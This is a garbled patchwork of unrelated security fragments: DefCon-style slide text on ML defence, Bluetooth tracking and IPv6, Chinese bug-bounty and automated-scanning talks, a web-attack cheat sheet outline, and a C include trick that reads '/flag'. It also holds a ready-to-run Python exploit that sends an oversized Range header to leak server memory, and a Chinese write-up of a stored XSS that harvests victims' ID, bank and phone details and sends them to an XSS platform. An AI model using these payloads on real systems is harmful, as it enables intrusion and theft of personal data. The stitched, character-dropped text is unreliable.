__has_include("/flag") char* __flag2 = "__/flag__"; #include "/flag" #endif #if __has_include("flag.h") char* __flag_h = "__/flag.h__"; #include "flag.h" #endif #if __has_include("flag.c") char*


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0x01 前奏 前不久在挖掘某SRC时提交漏洞时偶然在该SRC官的编辑器发现了个接 起初以为是任意件包含能RCE了后来测试发现只是拼接读取了远程资源站的图原本都想着放弃了但是当 我在后缀添加了个+号后图被意外的解析成了HTML这不就意味着get到个存储型XSS https://xxx.cn/xxxx/ueditor?image_name=/xxx.png+ 接着测试发现拼接图在个级录下尝试穿越发现存在研WAF于是Fuzz了下Payload成功Bypass #####WAF #####Bypass Payload: 0x02 漏洞利 1. 利010Editor或copy命令制作含有恶意代码的图 copy tiny.png /b + code.txt /a tiny_code.png 2. 通过本站的件上传恶意图取得件名之所以png格式是因为jpg会校验是否为正常图 3. 由于该SRC官财务打款需要机个信息(姓名机号sfz等)这些信息户是可的 我们直接编写了个demo.js于读取受害者个信息将其部署在XSS平台 /..%252F/ 脚本会通过Ajax请求URL使DOMParser转换并解析DOM对象提取户身份证银卡机号地址 等信息后合并base64发送到XSS平台找了团队的个朋友测试OK 4. 构造跳转站诱导受害者访问 这时只要受害者访问该服务跳转恶意就能获取信息 成功窃取到受害者的信息base64解码即可 0x03 技术点总结 1. Fuzz出接及参数,拼接+号解析成HTML 2. URL拼接时BypassWAF进录穿越 3. 使DOMParser转换为DOM对象并提取表单input值后通过window.btoa函数base64编码字符串


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Defending Networks with Incomplete Information: A Machine Learning Approach Alexandre Pinto alexcp@mlsecproject.org @alexcpsec @MLSecProject  This is a talk about DEFENDING not attacking  NO systems were harmed on the development of this talk.  We are actually trying to BUILD something here.  This talk includes more MATH than the daily recommended intake by the FDA.  You have been warned... ** WARNING **  12 years in Information Security, done a little bit of everything.  Past 7 or so years leading security consultancy and monitoring teams in Brazil, London and the US.  If there is any way a SIEM can hurt you, it did to me.  Researching machine learning and data science in general for the past year or so. Participates in Kaggle machine learning competitions (for fun, not for proﬁt).  First presentation at DefCon! (where is my shot?) Whos this guy?  Security Monitoring: We are doing it wrong  Machine Learning and the Robot Uprising  Data gathering for InfoSec  Case study: Model to detect malicious activity from log data  MLSec Project  Attacks and Adversaries  Future Direction Agenda  Logs, logs everywhere The Monitoring Problem  Logs, logs everywhere The Monitoring Problem  SANS Eighth Annual 2012 Log and Event Management Survey Results (http:// www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf) Are these the right tools for the job?  SANS Eighth Annual 2012 Log and Event Management Survey Results (http:// www.sans.org/reading_room/analysts_program/SortingThruNoise.pdf) Are these the right tools for the job?  Rules in a SIEM solution invariably are:  Something has happened x times;  Something has happened and other something2 has happened, with some relationship (time, same ﬁelds, etc) between them.  Conﬁguring SIEM = iterate on combinations until:  Customer or management is fooled satisﬁed; or  Consulting money runs out  Behavioral rules (anomaly detection) helps a bit with the xs, but still, very laborious and time consuming. Correlation Rules: a Pri


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I Fight For The Users Episode I Attacks Against Top Consumer Products Who are we? @zfasel @SecBarbie Our Credentials? (null) Before we get started Con Speaker Rule 101 If youre naming vendors and dont want your talk pulled, even if its already known and even if the impact is low, dont disclose too much ahead of time. TL;dr  Bluetooth -> All the things!  Wireless Security Products -> CCTV LOLZ  Consumer Windows Install -> Whoops  Q&A after talk 3 Topics in One Talk?  Keep it close to 20 minutes  So 15+15+15 = 45! MATH!  Also squirel. Bluetooth all the things! Another Bluetooth Talk?  BlueHydra* - Zero_Chaos & Granolocks  BLE Locks From Miles Away  Rose & Ramsey  BLE GATT Proxy Tool  Jasek  BLE-REPLAY & BLESUITE - Foringer & Trabun So whats different here? Rules  Never reveal the secret  Never repeat a trick for the same audience  Practice. Over and Over. Rules  Never reveal the secret  Never repeat a trick for the same audience  Practice. Over and Over. How do you wirelessly ID someone?  Car on the way in?  ALPR  ETC RFID  Bluetooth  Came in by foot?  Facial Recognition  Voice Recognition  Cell Phone?  WiFi  Bluetooth  IMSI Catcher  Proximity  Credit Card RFID  Car Keys RFID  Work badges  The not fancy ways  Reservation Names  RFID Loyalty cards  Credit cards  Social engineering How do you wirelessly ID someone?  Car on the way in?  ALPR  ETC RFID  Bluetooth  Came in by foot?  Facial Recognition  Voice Recognition  Cell Phone?  WiFi  Bluetooth  IMSI Catcher  Proximity  Credit Card RFID  Car Keys RFID  Work badges  The not fancy ways  Reservation Names  RFID Loyalty card  Credit cards  Social engineering Say it isn't so! Wifi caught on to this  iOS8 and Android 6.0  Historical SSIDs identify real mac  Take it as a data point, but not trust it That leaves us with  Came in by foot?  Cell Phone?  Bluetooth  Proximity  Car Keys RFID  The not fancy ways  RFID Loyalty card That leaves us with  Came in by foot?  Cell Phone?  Bluetooth  Proximity  Car Keys RFID  The not fancy


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自动化攻击背景下的过去现在与未来 @ringzero 2 关于我  网名猪猪侠  8年信息安全从业经历  信息安全领域爱好者  安全测试  数据挖掘  微博@ringzero 我的安全观互联网的本质 3 互联网的本质就两个字信息 信息只做一个用处就是交换 我的安全观互联网下信息安全的本质 4 互联网 连接彼此交换信息 信息安全 保护信息在交换(传递)过程 中的完整性可用性保密 性 我的安全观连接彼此 交换信息 与目标系统进行信息交换 可以发起交换的请求 耦合度高被攻击可能性越大 涟漪效应 信息传递的客体对象社会信息背 后的属性都和人有关 人们的愚蠢没有补丁可打 八大典型APT越来越趋向针对个人 最容易成功 6 APT RSA SecurID 被窃 夜龙攻击 Stuxnet 震网 Google 极光攻击 Luckycat 攻击 Nitro攻击 Lurid 攻击 暗鼠攻击 诱骗员工点击 恶意链接附件 Web服务器 被作为跳板 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 定向钓鱼 恶意邮件 军火级别 政治武器 DUQU FLAME  利用已知漏洞寻找目标  重度依赖搜索引擎  工具交互模式固定不可扩展(多以Windows为主)  流程化的利用模式 过去发起的攻击方式 7 回顾过去的攻击方式三字经 8 进谷歌 找记录 没记录 就旁注 没旁注 猜目录 没目录 就嗅探 找后台 穷枚举 传小马 放大马 偷密码 挂页面 提权限 扫内网  模块化高可扩展(脚本Python)  系统服务组件指纹标准化入库  高覆盖率分布式全球节点  重新定义网络边界(Socks5代理隧道) 现在 (脚本套脚本一键完成) 9 1深度扫描流程 11 WOOYUN 扫描目标 添加 自动分析 分解目标 深度信息 采集 指纹识别 入库 漏洞脚本库 队列执行 漏洞验证 返回结果 2添加扫描任务 12 WOOYUN 2添加扫描任务 (指定域名) 13 WOOYUN ① DNS 域传送漏洞 ② DNS 二级域名穷举 ③ GOOGLE 搜索域名 ① 域名IP C段加入队列 ② MX记录C段加入队列 ③ 爱站反查已添加的IP 开始扫描任务 3信息收集IP 信息 14 WOOYUN 3信息收集服务端口指纹信息 15 WOOYUN 爬取首页记录HTTP头 3信息收集域名信息 通过爱站BING反查域名 入库 16 WEB指纹识别 4WEB指纹识别条件库 17 4WEB指纹识别 返回网页内容中是否包含特定 HTTP头 18 4WEB指纹识别 文件MD5对比 存在特定文件? 19 5WEB漏洞库管理模块 20 6WEB漏洞测试方法 正则匹配特定变量 21 7脚本管理 定义好传入参数 URL & IP:端口 22 7深度扫描为漏洞扫描脚本 分配目标 填充参数 23 7深度扫描脚本依据SQL条件分配扫描参数 24 8指纹识别入库扫描结果入库 25 WOOYUN 添加目标 自动分解 自动采集 自动入库 队列下发 等待结果 未来可强化的地方 26 信息收集效率(更丰富的收集规则) 资源整合能力第三方数据整合 覆盖率 误报率 漏洞规则库更多的漏洞模块化 信息收集效率 (1467项 Google Hacking Database) 27 GHDB Files containing juicy info ( 225 ) Web Server Detection ( 75 ) Error Messages ( 67 ) Files containing usernames ( 14 ) Files containing passwords ( 138 ) Sensitive Directories ( 60 ) Vulnerable Servers ( 48 ) Footholds ( 21 ) Advisories and Vulnerabilities ( 223 ) Miscellaneous ( 12 ) Pages containing network or vulnerability data ( 60 ) Pages containing login portals ( 233 ) Various Online Devices ( 195 ) Sensitive Online Shopping Info ( 9 ) Vulnerable Files ( 56 ) Technology profile ( 32 ) 漏洞规则库330个通用漏洞利用脚本 28 Apache Geronimo Default Administrative Credentials.script Pending Apache httpOnly Cookie Disclosure.scr


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#!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%s url" % (sys.argv[0])) print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range'] = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n) r = requests.get(url, headers=headers) print(r.text)


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IPv6 Primer Gene Cronk  CISSP, NSA-IAM SME  North American IPv6 Task Force Systems Admin  The Robin Shepherd Group gene@hacksonville.org Why IPv6? Quick History  1992  Internet Engineering Task Force (IETF)  Global shortage of IPv4 addresses  Technical limitations of IPv4  1993  RFC1550 created  1995  Next generation internet protocol (IPv6) chosen as IPng (IP Next Generation) Why IPv6? Comparison with IPv4  IPv4  32 bit address space (4.3 billion possible addresses)  IPv6  128 bit address space (3.4 * 1038 or 340 undecillion addresses)  64 billion IPs for every square centimeter on earth Why IPv6? Comparison with IPv4  IPv4  20 some odd years ago  Many band-aids applied to address needs  IPv6  Integrates many network improvements made over that time Why IPv6? Comparison with IPv4  Stateless autoconfiguration  IPv4  DHCP server is possible, but not mandatory.  IPv6  Automagic Link Local address as soon as you boot the machine (see RFC 2462)  Mechanism is similar to getting a 169.xxx.xxx.xxx address on boot in IPv4 Why IPv6? Comparison with IPv4  Security & QoS  IPv4 IPSec and QoS are add-ons  IPv6 Encryption, IPSec and QoS built in Why IPv6? Comparison with IPv4  A cure for routing table growth  IPv4  Backbone routing table size has become a monsterous headache to ISPs and backbone operators. (113,000 as of 2003)  IPv6  Maximum amount of routes a router will see in the default-free zone is 8192. Why IPv6? Comparison with IPv4  From www.mcvax.org/~jhma/routing/bgp-hist.html : Why IPv6? Comparison with IPv4  Roaming becomes much easier  Use of Mobile IPv6 and AnyCast  Cell phone roaming much cleaner  Cell phone can automatically identify new routing information from a new tower  Cell phone keeps the same IP Why IPv6? Comparison with IPv4  IPv6 reestablishes end to end connectivity  The internet was originally designed for hosts to communicate directly with each other  One of the fixes to keep IPv4 working (NAT) breaks end to end connectivity What do I need to know abo


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PSRC小目标挣他一个亿 讲师carry_your 138,270,000 CONTENTS 01 资产收集技巧 02 漏洞挖掘案例 03 职业规划梳理 资产收集 1 在渗透测试中我们需要尽可能多 的去收集目标的信息资产探测和 信息收集决定了你发现安全漏洞 的几率有多大如何最大化的去收 集目标范围尽可能的收集到子域 名及相关域名的信息这对我们进 一步的渗透测试显得尤为重要 基本概况 IP段+端 口 域名 APP 服务号 API 信息泄露 社工 基本概况 股权结构查询 大型金融集团往往有着非常复 杂的股权结构通过工商查询 目标集团的股权结构更全面 的了解目标集团的公司资产 从一个点切入可获取到集团所 有的子公司信息以及关联业务 尽可能多的发现相关资产 持续监控资产 大型金融集团往往会有频繁的新 业务上线和老业务变更而新上 线或者进行变更的资产往往更 容易存在漏洞通过对这些的监 控可以在第一时间去检测这些系 统往往可以更高效的挖掘到高 风险安全漏洞 信息泄露监控 大型金融集团往往有着数量庞 大的员工数或者外包人员而 少数员工和外包人员缺乏安全 意识经常会无意识的做一些 信息泄露的事情比如公司信 息上传网盘代码信息上传 github等 基本资产监控 大型金融集团往往有着复杂而 且持续变化的网络和主机资产 这些主机上面往往开着各种的 服务和应用而且往往一些比 较奇葩的端口上运行着安全防 护较为薄弱的应用或者服务 这些就是我们需要关注的地方 Part 1 从股权结构切入 Part 2 新上线资产监控 Part 3 泄露信息收集 Part 4 C段+端口定时跑批 从股权结构切入 持续监控资产 APP持续监控 持续监控资产 持续监控资产 微信公众号持续监控 信息泄露监控 信息泄露监控 信息泄露监控 基本资产监控 漏洞挖掘 漏洞挖掘有时候不单单是简单的漏 洞利用往往漏洞挖掘的过程中会 有各种复杂的网络环境以及攻防切 磋在特定的环境下发现漏洞并 举一反三共同提高企业安全水平 2才是我们的目标 逻辑漏 洞 系统漏 洞 人为漏 洞 常规漏 洞 金融行业常见漏洞类型 金融行业常见漏洞类型 案例1-参数加密的密码重置 案例1 案例1 id_user=df4391c2-763f-49fc-978e-f7aab56e215d 案例1 {"Message":["短信已发 送!"],"Level":0,"Data":{"id":"d9052d34-d8b7- 4ba9-8e5c- 6106986c8399","flag_lx":1,"username":"135XX XX5171","id_masteruser":"0","id_user":"c60ce6 54-c873-485a-971c- 65e3daeff8da","id_edit":"c60ce654-c873- 485a-971c- 65e3daeff8da","rq_edit":"\/Date(1546941421 823)\/"},"Success":true} id_user":"c60ce654-c873-485a-971c-65e3daeff8da username":"135XXXX5171" 案例1 案例2-另类的越权漏洞 参数clinicId存在越权值为f4e350c7-78ff-4dbc-806d-2fc99254d646 POST /xxxxxx/app.do HTTP/1.1 Host: gw.xxxxxx.com Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cookie: BIGipServer_nginx_pool=926027948.36895.0000 Connection: close Accept: */* User-Agent: XXXX2B/1.8.1 (iPhone; iOS 10.3.1; Scale/2.00) Accept-Language: zh-Hans-CN;q=1 Content-Length: 318 X-Request-Id: 9F613F2C-29D0-44F3-95BB-011FAA7577B8 a p p S r c = 3 & a p p T y p e = B & a p p _ c o d e = 2 3 0 0 4 & c a s U u i d = 1 & c l i n i c I d = f 4 e 3 5 0 c 7 - 7 8 f f - 4 d b c - 8 0 6 d - 2 f c 9 9 2 5 4 d 6 4 6 & c u r r e n t C a s U u i d = 0 a 8 0 9


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安全文本分析：

# Web Generic --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[文件包含](#文件包含)** * [日志中毒攻击](#日志中毒攻击) * **[文件解析](#文件解析)** * [IIS](#iis) * [Nginx](#nginx) * [Apache](#apache) * [其他](#其他) * **[文件上传](#文件上传)** * **[信息泄露](#信息泄露)** * [目录遍历](#目录遍历) * [Fileread](#fileread) * [源码泄露](#源码泄露) * [GIT](#git) * [SVN](#svn) * [bzr](#bzr) * [DS_Store文件泄漏](#ds_store文件泄漏) * [SWP文件泄露](#swp文件泄露) * [网站备份压缩文件](#网站备份压缩文件) * [WEB-INF/web.xml信息泄露](#web-infwebxml信息泄露) * [idea文件夹泄露](#idea文件夹泄露) * [JS敏感信息泄露](#js敏感信息泄露) * [Swagger_REST_API信息泄露](#Swagger_REST_API信息泄露) * [各类APIkey泄露](#各类apikey泄露) * [SOAP泄露](#SOAP泄露) * **[不安全的输入](#不安全的输入)** * [http参数污染](#http参数污染) * [CRLF_Injection](#crlf_injection) * [host_Injection](#host_Injection) * [SQL_inje](#sql_inje) * [XSS](#xss) * [XXE](#xxe) * [SSRF](#ssrf) * [SSTI](#ssti) * **[配置不当](#配置不当)** * [代理配置不当](#代理配置不当) * [CORS](#cors) * [CSRF](#csrf) * [jsonp劫持](#jsonp劫持) * **[钓鱼欺骗](#钓鱼欺骗)** * [URL跳转漏洞](#url跳转漏洞) * [二维码劫持](#二维码劫持) * [点击劫持](#点击劫持) --- **相关文章** - [聊聊安全测试中如何快速搞定 Webshell](https://www.freebuf.com/articles/web/201421.html) - [Web Service 渗透测试从入门到精通](https://www.anquanke.com/post/id/85910) - [我的Web应用安全模糊测试之路](https://web.archive.org/web/20180814113607/https://gh0st.cn/archives/2018-07-25/1) - [聊聊近期公开的几个GitLab高额奖金漏洞](https://mp.weixin.qq.com/s/m8AZuqXgGGitcwsP4l-sVQ) --- ## 文件包含 文件包含是一个功能在各种开发语言中都提供了内置的文件包含函数其可以使开发人员在一个代码文件中直接包含引入另外一个代码文件 比如 在 PHP 中提供了`include()`,`include_once()`,`require()`,`require_once()` 这些文件包含函数这些函数在代码设计中被经常使用到 大多数情况下文件包含函数中包含的代码文件是固定的因此也不会出现安全问题 但是有些时候文件包含的代码文件被写成了一个变量且这个变量可以由前端用户传进来这种情况下如果没有做足够的安全考虑则可能会引发文件包含漏洞 攻击着会指定一个意想不到的文件让包含函数去执行从而造成恶意操作 根据不同的配置环境文件包含漏洞分为如下两种情况 1. 本地文件包含漏洞仅能够对服务器本地的文件进行包含由于服务器上的文件并不是攻击者所能够控制的因此该情况下攻击着更多的会包含一些固定的系统配置文件从而读取系统敏感信息很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞从而形成更大的威力 2. 远程文件包含漏洞能够通过 url 地址对远程的文件进行包含这意味着攻击者可以传入任意的代码这种情况没啥好说的准备挂彩 因此在 web 应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数如果非要这么做也一定要做严格的白名单策略进行过滤 **相关文章** - [LFIRFIPHP 封装协议安全问题学习 - 骑着蜗牛逛世界](https://www.cnblogs.com/LittleHann/p/3665062.html#383